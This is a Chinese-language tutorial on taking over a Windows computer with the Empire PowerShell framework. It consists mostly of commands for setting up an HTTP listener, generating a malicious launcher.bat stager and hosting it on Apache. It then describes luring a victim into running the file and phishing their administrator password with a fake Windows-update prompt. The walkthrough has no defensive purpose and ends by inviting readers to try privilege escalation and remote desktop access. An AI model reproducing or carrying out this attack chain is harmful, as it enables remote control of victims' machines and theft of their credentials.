黑客如何通过一个bat文件控制整台计算机

安装Empire powershell框架

针对Kali linux(Debian内核)或者Ubuntu内核的Linux操作系统，需要输入下面的命令安装Empire powershell

如果是CentOs的则需要使用yum安装

sudo apt install powershell-empire

启动Empire powershell服务端

powershell-empire server

启动Empire powershell 客户端

powershell-empire client

使用http相关模块

uselistener http

设置监听端口为4321

set Port 4321

运行

execute

如果之前运行过会有相应的提示，我们则可以输入listeners进行展示

然后使用windows/launcher_bat模块

usestager windows/launcher_bat

设置为http监听

set Listener http

之后运行

execute

可以看到恶意的bat文件已经生成好了

使用apache服务托管恶意文件

之后启动apache服务

sudo systemctl start apache2.service

然后将恶意bat文件拷入到apache的web服务路径下

sudo mv /var/lib/powershell-empire/empire/client/generated-stagers/launcher.bat /var/www/html/launcher.bat

热心网友下载并运行恶意文件

托管完成后，我们就可以引导用户去下载恶意文件了，这个是内网的IP地址，您需要根据自己的实际情况进行修改

然后保存好

您可以双击进行运行

然后你会发现很神奇的事情发生了，它消失了……

回到kali linux上，可以看到我们已经成功连上了

输入agents可以查看连接上的计算机的详细信息

然后我们使用powershell/collection/toasted模块

usemodule powershell/collection/toasted

然后进行参数的设置

set VerifyCreds True

Agent需要填写我们这里获取到的Name

set Agent Z74L2PBU

一切都设置好之后运行即可

execute

之后回到windows电脑，你会发现，这里有一个很有趣的弹窗

放大看，这里是提醒我们windows将在5分钟之后完成升级安装，如果我们点击重启

则会发现出现了一个windows内置的窗口

放大看，这里需要输入管理员账户和密码，才可以重启电脑……

这时，如果热心网友输入了自己的账户和密码

回到kali linux，我们可以看到通过钓鱼的方式，获取的账户和密码凭证

除此之外，还演示了如何提权、如何打开远程桌面的操作，这里不再赘述，更多有趣的可以自行研究！